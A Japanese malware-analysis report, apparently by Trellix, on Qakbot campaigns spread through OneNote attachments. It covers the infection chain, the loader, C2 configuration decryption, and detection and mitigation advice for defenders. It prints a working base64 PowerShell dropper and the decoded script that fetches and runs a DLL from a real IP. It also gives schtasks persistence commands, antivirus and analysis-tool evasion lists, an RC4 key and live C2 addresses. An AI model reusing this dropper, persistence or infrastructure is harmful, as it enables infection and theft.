Qakbot:OneNoteマルウェア配布に進化

Qakbot(別名:QBot、QuakBot、Pinkslipbot)は、少なくとも2007年から活動している高度なマルウェアです。2023年1月末以降、マルウェアの配布にOneNote文書を使用する、斬新な配信手法を用いたQakbotのキャンペーンの数が急増しています。さらに、Trellix Advanced Research Centerでは、AsyncRAT、Icedid、XWormなどの他のマルウェアを配布するためにOneNoteドキュメントを使用する様々なキャンペーンを検出しています。


Qakbotの概要

Qakbotバンキング型トロイの木馬は、少なくとも2007年から活動している高度で危険なマルウェアの一部です。Qakbotはワームのような機能を持ち、感染したネットワークを自律的に増殖させることが可能です。主に、感染したシステムからログイン情報や財務情報などの機密情報を盗んだり、被害者のシステム上で追加のマルウェアをダウンロードし実行するためにも使用されます。新たな機能として、追加のマルウェアモジュールを取得し、データ流出を実行するためのC2通信が追加されています。また、Qakbotには複数の回避技術やサンドボックスによる検知機能が含まれています。

このマルウェアは、主にフィッシングメールや悪意のある添付ファイルを介して拡散されますが、QakbotはEmotetなどの他のボットネットによってドロップされる二次的なペイロードとしても確認されています。Qakbotは、Prolock、Egregor、DoppelPaymerなどのランサムウェアのドロップに使用されています。また、以前はTA570と関連しており、キャンペーンの最初のエントリポイントとしてこのマルウェアを使用することがよくありました。

図 1 過去 3 か月間の Qakbot の感染率
図1 過去3ヶ月のQakbot感染率

このタイムライン(図1)は、過去3ヶ月間の世界のQakbot感染率を示しており、この危険なマルウェア配布の脅威が継続していることを強調しています。10年以上にわたるウイルス対策への取り組みにもかかわらず、Qakbotの検出数の世界的なヒートマップを示した図2に示すように、Qakbotは依然として世界中の個人および組織にとって重大なリスクとなっています。Qakbotの感染は、多くの国で何度も検出されています。これらのキャンペーンが特定の業界や国を標的にしているわけではないにもかかわらず、米国、インド、トルコ、タイで相当数の感染が確認されています。感染したIoCの数が最も多かったセクターは、銀行、金融、ウェルスマネジメントで、政府、アウトソーシングがそれに続いています。
図 2 過去 3 か月間の Qakbot 検出のグローバル ヒートマップ                             
図2 過去3ヶ月間のQakbot検出のグローバルヒートマップ

長年にわたり、Qakbotは感染経路の面で大きな変化を遂げながら進化してきました。電子メールは、攻撃者にとって好まれる初期の攻撃手段です。最近では、乗っ取られた電子メールの脅威が、その悪意のある電子メールを挿入することで一般的になっています。Sophosのレポートによると、攻撃者が、ユーザーをQakbotマルウェアファミリーの亜種に感染させるために、悪意のあるMicrosoft OneNoteドキュメントを含むスピアフィッシングメールを配布し始めているとのことです。

調査では、マルウェア「Qakbot」の新たな拡散経路に関する分析を紹介します(図3)。具体的には、QakbotローダーDLLとその解凍形につながる悪意のあるOneNoteドキュメントの分析です。難読化解除、悪意のある部分の解凍、およびその構成の抽出方法を紹介します。今回の調査から、OneNoteドキュメントを活用して他のマルウェア亜種を配布する手法は、今後も増加すると考えられます。

図 3 悪意のある OneNote キャンペーンの脅威ベクトル                                 
図3 悪意のあるOneNoteキャンペーンの脅威経路


初期感染経路

OneNoteドキュメントを感染経路として悪用するマルウェアファミリーにとって、電子メールは最初の攻撃経路となっています。攻撃者は、目的を達成するために、異なる波で2つの攻撃経路を交互に繰り返しています。

  • 電子メールに埋め込まれたURLから悪意のあるファイルをダウンロードする: URLベースの攻撃は、IPアドレスとUser-Agentの回避と結びついており、User-Agent文字列がMicrosoft Windowsコンピュータから来た場合にのみ、悪質なファイルを提供するようになっています。Mac/iOS、Linux、AndroidのブラウザからのUser-Agentは無視されます。また、一部の解析エンジンでは、これらのパターンを識別・抽出することができないため、検出を回避するためにスキームレスURLを採用しています。

  • 電子メールに添付された悪意のあるファイル (図4): 攻撃者は、ペイロードを配信するために、さまざまな種類の添付ファイルを使用してきました。これまで、ZIPファイル、HTMLファイル、PDFファイル、そして現在ではOneNoteファイルを使用しています。また、パスワード保護と組み合わせることで、パスワードがメールに記載されていたり、ダウンロードページにパスワードが記載されている合法的なサービス上でファイルがホスティングされたりして、分析を回避してきました。

図 4 OneNote ドキュメントが添付されたフィッシング メール  
図4 OneNoteドキュメントを添付したフィッシングメール

このようなキャンペーンでは、OneNoteドキュメントのさまざまなバリエーションが使用されていることが確認されています。

図 5 Office365 をテーマにしたフィッシングの OneNote ドキュメントのスクリーンショット。
図5 Office365をテーマにしたフィッシングOneNoteドキュメントのスクリーンショット


図5
は、マルウェアQakbotを含むZIPファイルをダウンロードするように被害者を誘導する、PDFの添付ファイルでも確認されたテーマ別のフィッシング攻撃を示しています。具体的な手口や侵害の指標は、「付録」で確認できます。

図 6 フィッシングの OneNote ドキュメントの実行のスクリーンショット: バリエーション 2

 図6 フィッシングOneNoteドキュメント実行時のスクリーンショット:バリエーション2

すべてのOneNote文書にCall-to-Actionボタン(CTA)が存在し、埋め込まれたペイロードを実行するためにクリック操作を要求します。被害者が偽のメッセージを信じてCTAボタンをクリックすると、埋め込まれた添付ファイルは警告メッセージボックスとともに表示されます。被害者が「OK」をクリックすると、警告メッセージは表示されなくなり、リモートペイロードがダウンロードされ実行されます。

図 7 OneNote で添付ファイルを開く際の警告ウィンドウ。
図7 OneNoteで添付ファイルを開く際の警告画面


第1段階のマルウェア解析:Microsoft OneNoteドキュメント

OneNoteの脅威ベクトルの概要

Microsoft OneNoteは、ユーザーが自分の考えやアイデア、メモを記録して整理することができるノート型コラボレーションツールです。Microsoft Officeスイートからデフォルトでインストールされ、Windows、macOS、Android、iOSなど、幅広いプラットフォームで利用できます。OneNoteドキュメントは、マルウェアの検出を行う際に見落とされがちです。OneNoteはVBAマクロを実行できないにもかかわらず、最初のベクトルとしてフィッシングに大きな可能性を持っています。OneNoteには以下のような利点があります。

  • ユーザーに悪意のあるファイルやリンクを開かせるフォーマット機能を提供
  • Office Protected View、またはMark of the Web保護の影響を受けない
  • OneNoteは、Outlook、Word、Excel、PowerPointなど、プロテクトビューなしで表示できる他のMicrosoft Officeアプリケーションとの統合をサポート
  • MSF、BAT、HTA、BAT、EXEファイルなど、実行可能な拡張子の埋め込みが可能
  • OneNote XMLオブジェクトによるコード開発のポータビリティにより、攻撃者が難読化された亜種を大量に自動生成することが容易

この研究では、MD5ハッシュ83feba178d00097929e6efeb27719d5dbで識別される特定のサンプルを分析します。このサンプルは、主にOffice OneNoteドキュメントの添付ファイルを含むスパムメールを通じて拡散されるQakbotキャンペーンに属しています。Trellix Advanced Research CenterのThreat Intelligence Groupは、このレポートを発信する前に、複数のオープンソースおよびクローズドソースから情報を収集・分析しています。

ファーストステージのOneNoteのサンプル情報

Filename          Funds_834333.one
MD5             83feba178d0097929e6efeb27719d5db
SHA-1            e50f09e56a72b14ff200b94ca583c3f9bb1112b1
SHA-256          033ca3aa775a34a7a4b6533b0fb744c9c71ab6cebec7e3f17a261e8f4edcdd01
File size                              171 KB

その情報を解析するために、OneNoteAnalyzer、One-Extract、Onedump.pyなど、いくつかの無料ツールがOneNoteドキュメントの解析に役立つことがあります。この特定のOneNoteサンプルは、CMD(Windows Command File)を含んでおり、実行可能なコードを含む可能性があることを示しています。以下は、OneNoteAnalyzerを使用して抽出されたメタデータです。

抽出されたメタデータから、添付されたCMDは、Microsoft OneNote 2010を使用して、2023年2月6日に「Z:◆buildone」というパスで最後に保存されたものであることがわかります。悪意のあるペイロードを含むCMDのペイロードは、以下のコードに示されています。


powershell.exe $aV2hgYDB = '5d44a2b0d85aa1a4dd3f218be6422c66';
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('DQpAZWNobyBvZmYNCnNldCBhTWVXMUU9YTgweU9zDQpzZXQgYVRacG9MPWFxRDE4R1kNCnNldCBhZmhIZUo9YUdzSzR5VWpmDQpwb3dlcnNoZWxsIChuZXctb2JqZWN0IHN5c3RlbS5uZXQud2ViY2xpZW50KS5kb3dubG9hZGZpbGUoJ2h0dHA6Ly8yMTYuMTIwLjIwMS4xMDAvNjA4NTIuZGF0JywgJ0M6XHByb2dyYW1kYXRhXGdiLmpwZycpOw0Kc2V0IGFqYXM0YkVGPWFmd1VwUQ0Kc2V0IGE4bFdJajQ9YXhUOHV2OXANCmNhbGwgcnUlMWxsMzIgQzpccHJvZ3JhbWRhdGFcZ2IuanBnLFdpbmQNCmV4aXQNCg==')) > C:\Users\Public\1.cmd&&start /min C:\Users\Public\1.cmd nd

このコマンドはPowerShellを起動し、変数$aV2hgYDBに特定の値を設定します。その後、Base64エンコードされた文字列をデコードし、特定のURLからファイルをダウンロードし実行するコマンドを実行します。このコマンドの出力は、「Public」ユーザーフォルダーにある「1.cmd」という名前のファイルにリダイレクトされ、スクリプトはこのファイルを起動し、その中に含まれるコマンドを実行します。Base64コードをデコードすると、次のようになります。

@echo off
set aMeW1E=a80yOs
set aTZpoL=aqD18GY
set afhHeJ=aGsK4yUjf
powershell (new-object system.net.webclient).downloadfile('http://216.120.201.100/60852.dat',
'C:\programdata\gb.jpg');
set ajas4bEF=afwUpQ
set a8lWIj4=axT8uv9p
call ru%1ll32 C:\programdata\gb.jpg,Wind
exit

このスクリプトは、まず、コマンドエコーをオフにします。その後、いくつかの変数を特定の値に設定します。PowerShellコマンドを実行し、指定されたURLからファイルをダウンロードし、「C:\programdata\gb.jpg」に保存します。モジュール名として Wind を指定し、引数として「rundll32」コマンドと「C:︓programdatagb.jpg」ファイルを実行するコマンドを実行します。これにより、そのファイルがDLLとして実行されます。

リモートペイロードをダウンロードするために、マルウェアはpowershell (new-object system.net.webclient).downloadfile を使用し、User-Agentヘッダーなしでリモートホストにリクエストを行います。他のOneNoteキャンペーンでも、cURL(一般的なLinuxツールですが、Windows 10以降のバージョンでは一部になっています)とPowerShell Invoke-WebRequestを使用することが確認されています。マルウェアは時間とともに進化しているため、以下のコマンドを実行してリモートペイロードを手動で取得し、監視することをお勧めします。

curl http://216.120.201.100/60852.dat -H ‘User-Agent:’ –output gb.jpg

以下の表は、悪意のあるペイロードが使用するダウンロード技法に応じて、再現を推奨するユーザーエージェントの一覧です。

技術                                                            推奨ユーザーエージェント
curl                                                             curl/7.86.0
powerShell Invoke-WebRequest                    Mozilla/5.0 (Windows NT; Windows NT 10.0; de-DE)
                                                                  WindowsPowerShell/5.1.17763.316
powershell (new-object                                No User-Agent
system.net.webclient).downloadfile 

第2段階のマルウェア解析:悪意のあるLoader DLL

Second-stage DLL static information of gb.jpg
MD5                             891c7d5050fe852a032eeda9311498e8
SHA-1                          52975754a7e3048c5b587e4926e99cb5c8123929
SHA-256                       e16e0faae0e9851a782d026f6692e34a9c7bae14c545aa8ac1e1ef033dfd06a8
File size                        307 KB
Name                           libKF5ItemViews.dll
Build date                     2010-08-17 14:54:22

このDLLには、他のプログラムから呼び出すことができる関数である458のエクスポート(図8)を含む複数のセクションが含まれています。この場合、悪意のある動作は「Wind」という名前のエクスポートまたはその通常の番号#458を介してのみ実行可能であり、それ以外の場合、サンドボックス分析で悪意のある動作を監視することができません。

図 8 DLL セクションとエクスポート

図8 DLLセクションとエキスポート


DLLファイル内のエントリポイント「Wind」は、ダイレクトジャンプや条件付きジャンプ(jmp、jz、jnz)など、さまざまな回避技術を使用して難読化されています。これには、XORを使用して復号化され、メモリ内で実行されるシェルコードが含まれています。このシェルコードは、さらにメインのQakbot DLLを復号化し、メモリから解放して、最後にメインのQakbotペイロードを実行します。

この特定のサンプルは、PEBを通じて様々なアンチデバッグ技術を利用しているため、アナリストはデバッガ環境を設定する際に回避策を利用することをお勧めします(図9参照)。

図 9 アンチデバッグ フラグの推奨セットアップ。
図9 アンチデバッグフラグの推奨設定

メモリからダンプされたQakbotのDLLは、セクションの位置がずれているため、アナリストはファイルヘッダ内のセクションアドレスとサイズを適切な値に修正する必要があります(図10参照)。

図 10 正しいヘッダーの配置。

図10 正しいヘッダーの配置


第3段階のマルウェア解析: Qakbot Core DLL

このQakbot亜種の動作と技術については、私たちの研究チームその他研究チームなどから、すでに多数の詳細なレポートが入手可能であり、その機能と手口の詳細な分析が提供されています。私たちの焦点は、このサンプルに関連する重要な調査結果 (文字列の難読化、持続性、回避技術、および C2通信) を提示することであり、最新技術で既に容易に入手できる情報を複製することではありません。

文字列の難読化

マルウェア バイナリの重要な文字列値のほとんどは暗号化されているため、文字列などの静的分析ツールからは何も返されませんが、静的抽出を使用して復号化できます。暗号化された文字列とキーは、スタックまたはレジスタに読み込まれる4つの別々の場所にハードコーディングされ、0x100019D40x10009388で機能するように呼び出されて復号化されます。復号化関数は、要求された文字列のインデックスである 1 つの引数を受け入れます。

; void *__cdecl sub_100019A6 (unsigned int index)
sub_100019A6 proc near
index= dword ptr 8
push ebp
mov ebp, esp
push [ebp+index]
mov edx, 57Dh
push ecx
push offset key_blob_1
mov ecx, offset enc_blob_1
call sub_1000A0A6
add esp, 0Ch
pop ebp
retn
sub_100019A6 endp

表1. スタックからインデックス入力を取得する復号化関数

sub_1000198C proc near
push ecx
push ecx
push offset key_blob_1
mov edx, 57Dh
mov ecx, offset enc_blob_1
call sub_1000A0CC
add esp, 0Ch
retn

sub_1000198C endp

表2 レジスタからインデックス入力を取得する復号化関数

2つの暗号化されたblobとキーの間でXORを実行するだけで、復号化された2 の連続した文字列blobが得られます。以下のセクションでは、復号化された文字列と分解されたコードに基づいて、この Qakbot亜種の主な機能を紹介します。
暗号化された2つのblobと鍵の間を単純にXORすることで、復号化された2つの連続文字列blobを実現します。復号化された文字列と分解されたコードに基づき、以下のセクションではこのQakbot亜種の主要な特徴を紹介します。

持続性

     “%s\system32\schtasks.exe” /Create /ST %02u:%02u /RU “NT AUTHORITY\SYSTEM” /SC ONCE /tr “%s” /Z /ET %02u:%02u /tn %s
     schtasks .exe /Create /RU “NT AUTHORITY\SYSTEM” /SC ONSTART /TN %u /TR “%s” /NP /F
     SOFTWARE\Microsoft\Windows\CurrentVersion\Run

上記のコマンドの実行は、マルウェアが使用する持続メカニズムを示しています。最初の行は、Windowsの組み込みツール「schtasks.exe」を使用して、スケジュールされたタスクを作成します。タスクは、”/ST %02u:%02u”および“/ET %02u:%02u”パラメータで指定されているように、指定された時間に1回だけ実行するように設定されています。タスクは、「/RU」パラメータで指定された「NT AUTHORITY  SYSTEM」ユーザーを使用して、最高の権限で実行されます。タスク コマンド“%s”は、”/tr” パラメーターを介して引数として渡されます。“/Z”パラメータは、ユーザーがログオフしてもタスクが実行され続けることを保証します。タスクには、”/tn %s “パラメータで指定された名前が与えられます。

2 行目は、”/SC ONSTART” パラメータで指定されているように、システムが起動するたびに実行されるように設定されています。「/NP」パラメーターを指定すると、タスクに管理者権限を求めるプロンプトが表示されなくなります。「/F」パラメーターを指定すると、同じ名前のタスクが既に存在する場合でも、強制的にタスクが作成されます。

このサンプルでは、​​スケジュールされたタスクを作成するか、 SOFTWARE\Microsoft\Windows\CurrentVersion\Runにレジストリ実行キーを作成します。

プロセスインジェクション

DLL ペイロードが実行されると、悪意のあるコードを正当なWindows OSプロセスに挿入して防御回避を実行します。図 11は、コードと、プロセス ハロウイング手法の最初のステップとして中断されたプロセス (wermgr.exe) を作成する方法を示しています。

図 11 動的分析: プロセス ツリー。
図 11 動的分析: プロセス ツリー

以下は、実行中にQakbot core .DLL によって挿入されるプロセスのリストです。


%SystemRoot%\System32\wermgr.exe

%SystemRoot%\SysWOW64\OneDriveSetup.exe
%SystemRoot%\System32\xwizard.exe
%SystemRoot%\System32\msra.exe
%SystemRoot%\System32\dxdiag.exe
%SystemRoot%\SysWOW64 \xwizard.exe
%SystemRoot%\System32\AtBroker.exe
%SystemRoot%\SysWOW64\mobsync.exe
%SystemRoot%\SysWOW64\wermgr.exe
%SystemRoot%\SysWOW64\AtBroker.exe %
SystemRoot%\explorer.exe
%SystemRoot% \System32\OneDriveSetup.exe
%SystemRoot%\SysWOW64\CertEnrollCtrl.exe
%SystemRoot%\SysWOW64\msra.exe
%SystemRoot%\SysWOW64\dxdiag.exe
%SystemRoot%\System32\CertEnrollCtrl.exe
%SystemRoot%\System32\mobsync.exe
%SystemRoot%\SysWOW64\explorer.exe

表 3 Qakbotコアによって挿入できるプロセスのリスト


回避技術

アンチデバッグ

表 4 のコードは、このサンプルがPEB構造体のBeingDebuggedを使用してデバッグされているかどうかを検証するコード スニペットを示しています。フラグを検出すると、 2 つの復号化キー テーブルを0xB8でXORして自己破壊し、プロセスを終了します。

int __thiscall sub_100026E5(void* this,int al){
unsigned int v3; // eax
unsigned int i; // ecx
if (sub_1000BDB3(this) == -1) {
while (1){
if (sub_1000F297() > 0) {
sub_1000BEAC(
63, 1);
return 0;
}
if (NtCurrentPeb() -> BeingDebugged)
break;
( * (void(__stdcall **)(int, int))(dword_10020D98 + 200))(1000, 1);
}

v3 = 0;
for (i=0; i <0x80; ++i)
key_blob_2[i] ^=
 0xB8u;
do
key_blob_1[v3++] ^= 0xB8u;
while (v3 > 0x80);
}

return 0;
}

表4 デバッグ中のPEBを使用したアンチデバッグ

アンチダイナミック解析

このマルウェアは、ブロックリストに実行中のプロセスがあるかどうかをチェックします。

frida-winjector-helper-32.exe      idaq64.exe
frida-winjector-helper-64.exe      loaddll32.exe
tcpdump.exe               PETools.exe
windump.exe                                        ImportREC.exe
ethereal.exe                                          LordPE.exe
wireshark.exe                                       SysInspector.exe
ettercap.exe                                         proc_analyzer.exe
rtsniff.exe                                             sysAnalyzer.exe
packetcapture.exe                                 sniff_hit.exe
capturenet.exe                                      joeboxcontrol.exe
qak_proxy                                             joeboxserver.exe
dumpcap.exe                                         ResourceHacker.exe
CFF Explorer.exe                                     x64dbg.exe
not_rundll32.exe                                    Fiddler.exe
ProcessHacker.exe                                  sniff_hit.exe
tcpview.exe                                            procmon.exe
filemon.exe                                            sysAnalyzer.exe

Anti AV

マルウェアペイロードは、「C:\INTERNAL\__empty」のWinAPI GetFileAttributesを使用して、Windows Defender Emulationをチェックします。Kaspersky、Sentinel、AVG、Dr. Web、Fortinet、TrendMicro、F-Secure、ByteFence Anti-Malware、BitDefender、Avast、Windows Defender、Comodo Internet Security、ESET、などのアンチウイルス製品に関連したプロセスのリストを確認します。

AvastSvc.exe;aswEngSrv.exe;aswToolsSvc.exe;afwServ.exe;aswidsagent.exe;AvastUI.exe
CynetEPS.exe;CynetMS.exe;CynetConsole.exe
avp.exe;kavtray.exe
SentinelServiceHost.exe;SentinelStaticEngine.exe;SentinelAgent 。EXE;
SentinelStaticEngineScanner.exe;SentinelUI.exe
ccSvcHst.exe;NortonSecurity.exe;nsWscSvc.exe
coreServiceShell.exe;PccNTMon.exe;NTRTScan.exe
vkise.exe;isesrv.exe;cmdagent.exe
MBAMService.exe;mbamgui.exe
avgcsrvx.exe ;avgsvcx.exe;avgcsrva.exe
CSFalconService.exe;CSFalconContainer.exe
bdagent.exe;vsserv.exe;vsservppl.exe
xagtnotif.exe;AppUIMonitor.exe
egui.exe;ekrn.exe
SophosUI.exe;SAVAdminService.exe;SavService.exe
dwengine.exe;dwarkdaemon.exe;dwwatcher.exe

C2通信

Qakbotの暗号化/復号化処理において、コアDLLは暗号化されたConfigurationと暗号化されたC2 IPsリストという2つのリソースを持ちます。これらのリソースを復号化するために、各Qakbotサンプルに固有の特定の文字列に対してSHA1ハッシュが計算され、そのハッシュがRC4アルゴリズムのキーとして使用されます。

図 12 DLL リソース内の暗号化された構成値。


図 12 DLLリソース内の暗号化された構成値

ハードコードされたキー”bUdiuy81gYguty@4frdRdpfko(eKmudeuMncueaN」” を用いたRC4技法による最初の復号では、次のデータが生成されます。

  • バイト0から20まで: 暗号化された構成を持つ2番目のキーのSHA1ハッシュ
  • 20バイト目から40バイト目: 2番目のキー
  • バイト40から: 暗号化された構成

そして、2つ目のキーは、2回目のRC4復号化の入力として使用され、復号化された設定を取得します。

復号化後、このQakbotのキャンペーンIDは「tok01」、タイムスタンプは「1676453967」であり、2023年2月15日に相当することがわかりました。抽出されたすべてのC2(IP:ポート)は、付録の表2に記載されています。これらのアドレスのほとんどは、追加のプロキシまたは実際のC2にトラフィックを転送するためのプロキシとして使用される他の感染システムに属しています。

Qakbotは、感染チェーンでいくつかのモジュールを使用することが知られています。

  • システム情報の収集: OS バージョン、ユーザー名、コンピューター名、ドメイン、画面解像度、システム時間、システム稼働時間、ボット稼働時間などの一般的なシステム情報に加えて、インストールされたアプリケーションの結果と WMI クエリが収集されます。

  • リモート プラグインの取得: Qakbot には少なくともいくつかの既知の異なるプラグインがあります: パスワードグラバー、クッキーグラバー、UPnPモジュール、Hidden VNC、メールコレクター、フックモジュール、プロキシモジュール、Webインジェクト。

脅威の検知戦略

このセクションは、主に検知エンジニアリングと脅威ハンティングに取り組むセキュリティチームを対象としています。これは、キャンペーンの主要な動作、検知の機会、緩和策で構成されています。

重要な行動(TTP)

これは、検知に活用できる脅威の動作のリストの一部です。

戦術的な目標  ATT&CK テクニカル (Technique ID)  脅威となる行動・言動
初期アクセス
  • Phishing: Spearphishing Attachment (T1566.001)

攻撃者は、悪意のあるOneNoteファイル(拡張子.one)を添付した悪意のある電子メールを開くようにユーザーを誘導

実行
  • User Execution: Malicious File (T1204.002)
ユーザーが悪意のあるOneNoteファイルの添付ファイルを開封
実行
  • User Execution: Malicious Link (T1204.001)
ユーザーがOneNoteファイルに含まれる不正なリンクをクリック
防御回避
  • System Binary Proxy Execution: MSHTA (T1218.005)
OneNoteは、埋め込まれた.HTAファイルを実行するためにMSHTAを起動
コマンド&コントロール
  • Ingress Tool Transfer (T1105)
MSHTAは、第2段のペイロードをダウンロードするためにcURLを起動
防御回避
  • System Binary Proxy Execution: RunDll32 (T1218.011)
2段目のペイロードを実行するためにRunDll32を起動
防御回避
  • Process Injection: Process Hollowing (T1055.012)
RunDll32 (Qbot) は、Windows システムプロセス (例: wermgr.exe) に起動し、挿入
ディスカバリー
  • System Information Discovery (T1082)
  • Security Software Discovery (T1518.001)
  • Windows Management Instrumentation (T1047)
挿入されたWindowsシステムプロセス(例:wermgr.exe)は、WMIを介して検出コマンドを実行
ディスカバリー
  • System Information Discovery (T1082)
  • System Owner/User Discovery (T1033)
  • Domain Trust Discovery (T1482)
  • System Network Connections Discovery (T1049)
  • Windows Command Shell (T1059.003)
挿入されたWindowsシステムプロセス(例:wermgr.exe)は、CMDを介して検出コマンドを実行
_ net view
|_ cmd /c set
|_ arp -a
|_ ipconfig /all
|_ nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.{DOMAIN}
|_ nltest /domain_trusts /all_trusts
|_ net share
|_ route print
|_ netstat -nao
|_ net localgroup
|_ qwinsta
|_ whoami /all
持続性
  • Scheduled Tasks (T1053)
Windowsシステムプロセス(例:wermgr.exe)は、スケジュールされたタスクによって持続性を確立
持続性
  • Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (T1547.001)
Windowsシステムプロセス(例:wermgr.exe)は、オートランレジストリキーを介して持続性を確立

検知の機会

これは、脅威の行動、分析方法 (D3FEND、およびATT&CK手法に対する検知の機会のマッピングです。

ディフェンス目標 脅威の行動と検知の機会 分析方法 ATT&CKテクニカル(Technique ID)Technique ID) 
不審なプロセス実行を検知(系図)
  • Outlook spawns MSHTA/CMD
  • MSHTA spawns cURL
  • MSHTA/CMD spawns RunDll23
  • RunDll32 spawns Windows System Binary
  • Windows System Binary spawns cmd.exe
  • Windows System Binary spawns schtasks.exe
  • プロセススポーン解析
  • User Execution: Malicious File (T1204.002)
  • System Binary Proxy Execution: MSHTA (T1218.005)
  • System Binary Proxy Execution: RunDll32 (T1218.011)
  • Windows Command Shell (T1059.003)
  • Scheduled Tasks (T1053)
不審なプロセスインジェクションの試行を検知
  • RunDll32 injects Windows System Binary
  • プロセススポーン解析
  • システムコール解析
  • Ingress Tool Transfer (T1105)
不審なネットワーク接続の試行を検出
(ネットワーク接続イベント)
  • Windows System Binary connects to public IP
  • コネクションアテンプトの解析
  • Ingress Tool Transfer (T1105)
  • Application Layer Protocol: Web Protocols (T1071.001)
不審なコマンドの連続を検出
(プロセス作成されたイベント)
  • Windows System Binary spawns sequence of discovery commands
コマンド実行解析
  • System Information Discovery (T1082)
  • Domain Trust Discovery (T1482)
  • System Network Connections Discovery (T1049)
  • Windows Command Shell (T1059.003)

注:この分析では、Outlook、OneNote、MSHTA、RunDll32、Cmd、schtask、wermgへの参照は、予想されるパスから実行される正当なのシステムバイナリであることを意味します。


予防と緩和

CISAのフィッシング対策に関する推奨事項に加えて、このキャンペーンに対して以下の予防・緩和策を推奨します。

  1. 一般的でないファイル拡張子 (.one、.hta、.vbs、.js、.wsf、.iso、.vhd、.img) の添付ファイルを含む電子メールをブロック [安全な電子メール ゲートウェイ機能]
  2. 既知の悪意のあるサイトをブロックする [OUTBOUND WEB-BROWSING PROTECTIONS]
  3. めったに使用されないトップレベル ドメインをブロックする [OUTBOUND WEB-BROWSING PROTECTIONS]
  4. 一般的に悪用されるシステム バイナリ (MSHTA.exe、RunDll32.exe、cmd.exe など) によって開始されたネットワーク接続をブロックする [OUTBOUND WEB-BROWSING PROTECTIONS]
  5. 環境で一般的でないスクリプトファイル形式のデフォルトのファイル関連付けを変更します (例: .wsf、.js、.hta、.vba、.chm、.cmd) [ENDPOINT PROTECTIONS]
  6. マルウェアによって一般的に使用されるパス (例: %PROGRAMDATA%) での PEファイルの作成をブロック [ENDPOINT PROTECTIONS]

脅威インテリジェンス

最近のQakbot OneNoteの亜種は、添付ファイル名にU+202Eを使用するトリックを利用しています。これは、テキストの方向を左から右へ、右から左へ反転させるために使用されるRight-to-Left Override文字を使用するものです。正規のファイル名のように見えて、実は悪意がある添付ファイル名となり、例えば、「tempeno.hta」という名前のファイルを、このテクニックを使って「tempath.one」にリネームすると、OneNoteの文書と思い込んでファイルを開いてしまう可能性があります(図13)。

図 13 添付ファイル名の U+202E トリック。

図13 添付ファイル名のU+202Eトリック
Sevagasは、2022年8月に初めてレッドチームにおけるOneNoteの使用法を紹介しました。その後、電子メールに含まれるMicrosoft OneNoteドキュメントを介したマルウェアの配布が増加し、さまざまなサイバー犯罪の攻撃者がこの方法を利用しています。これらのキャンペーンのほとんどは、広範囲を対象としており、大量の電子メールフィッシングを送信しています。これらの攻撃は、北米や欧州を含む世界中の組織に影響を与えており、TA577は活動の中断から復帰し、2023年1月末にOneNoteを使用してQakbotを配信しました。Microsoft OneNoteドキュメントを介したマルウェアの配布についてより深く理解するため、遠隔測定データの包括的な分析を実施しました(図14参照)。まず、OneNote文書につながる添付ファイルやリンクを持つフィッシングメールを監視しました。さらに、OneNote文書からすべてのペイロードを抽出し、リモートの悪意のあるペイロードをキャプチャして、その脅威ベクトルを理解しました。これらの洞察を調査することで、OneNoteドキュメントを介して配布されるマルウェアがもたらす脅威について、より深く理解することを目指しました。
図 14 OneNote マルウェア配布キャンペーンからのマルウェア ペイロード抽出のワークフロー。
図14 OneNoteマルウェア配布キャンペーンからのマルウェアペイロード抽出のワークフロー


悪意のあるOneNoteドキュメントは、ここ数ヶ月で懸念が高まっています。OneNoteドキュメントを利用した最初の悪意あるキャンペーンの1つは、2022年6月以降、ドキュメント (1dc133f24649611277716350f9d63ccd7c30cec27b9b4b7c62f6bfe395acfac)内部にPEバイナリ(KrbRelayUp)を含むPoCスクリプトや、2022年11月中旬にPoshC2をインストールするためのリモートPowerShellスクリプトをダウンロードする埋め込みHTA(1ff8e47def1e557b14470f95215d8763876f28411d4cfc7319c077733acd63)でした。


図 15 NedBank を標的とした 2022 年 11 月以降の OneNote ドキュメントのフィッシング

図15 NedBankを標的とした2022年11月以降のOneNoteドキュメントのフィッシング

しかし、2023年2月16日までに収集されたファイルをカウントすると、2022年12月~2023年1月以降、悪意のあるOneNoteサンプルの数が徐々に増加しています(図16)。さらに、無害なOneNoteサンプルの一部は、悪意のあるOneNoteファイルを実行した際にユーザーがダウンロードするおとりファイルサンプルであることがわかります。さらに、悪意のあるファイルの実行時にユーザがダウンロードするおとりファイルとして使用される無害なOneNoteサンプルの数も増加しています。この傾向は、悪意のあるOneNoteサンプルの比率が大きく増加していることを示しています。

図 16 2023 年 1 月以降の悪意のある OneNote の検出。
図16 2023年01月以降の悪意のあるOneNoteの検出

図17は、2023年の悪意のあるOneNoteの検出状況を示すチャートです。これらの発生は、米国、韓国、ドイツなど様々な国で報告されており、幅広い業種に影響を与えています。

図 17 2023 年に各国で検出された悪意のある OneNote イベント。
図17 2023年に各国で検出された悪意のあるOneNoteのイベント

業界間の検出の統計についてより深い洞察を得るために、感染した侵害の兆候を分析しました。その結果(図18)、製造業、ハイテク、通信の各セクターで感染したIoCの数が最も多いことが分かりました。このことは、これらの業種がこの種の攻撃に対してより脆弱である可能性があり、潜在的な脅威からシステムやネットワークを保護するための事前の対策が必要であることを示唆しています。

図 18 業界全体で 2023 年に検出された OneNote イベント。
図18 2023年に業界全体で検出されたOneNoteイベント

また、様々な攻撃者がOneNoteドキュメントを利用してマルウェアを配布するようになりました。2002年12月には、OneNoteドキュメント内のPowerShellを使用して、リモートAsyncRATペイロードをダウンロードするキャンペーンを検出しました。2023年1月末以降、マルウェア配布にOneNoteドキュメントを使用するQakbotキャンペーンの数が急増しています 。最近では、同じ手口でIcedidマルウェアをドロップし始めたOnenoteドキュメントが検出されました。私たちは、以下のようなキャンペーンのいくつかを追跡調査しています。

Version Campaign Timestamp Converted timestamp
404.432 obama235 1675240891 February 1, 2023
404.432 bb12 1675417198 February 3, 2023
404.506 bb15 1676367197 February 14, 2023
404.510 tok01
1676453967
February 15, 2023

表5 OneNoteドキュメントをマルウェア配布に利用したQakbotの各種キャンペーン

Version/Campaign C2
0.5.7B 207.244.236.205:6606
207.244.236.205:7707
207.244.236.205:8808
3LOSH RAT xxxprofxxx.dnsdojo.com:5126
xxxsthebagsxxx.mywire.org:6606
xxxsthebagsxxx.mywire.org:7707
xxxsthebagsxxx.mywire.org:8808
0.5.7B 209.126.83.213:6606
209.126.83.213:7707
209.126.83.213:8808

表6 OneNoteドキュメントをマルウェア配布に利用したAsyncRATの各種キャンペーン

Version/Campaign C2
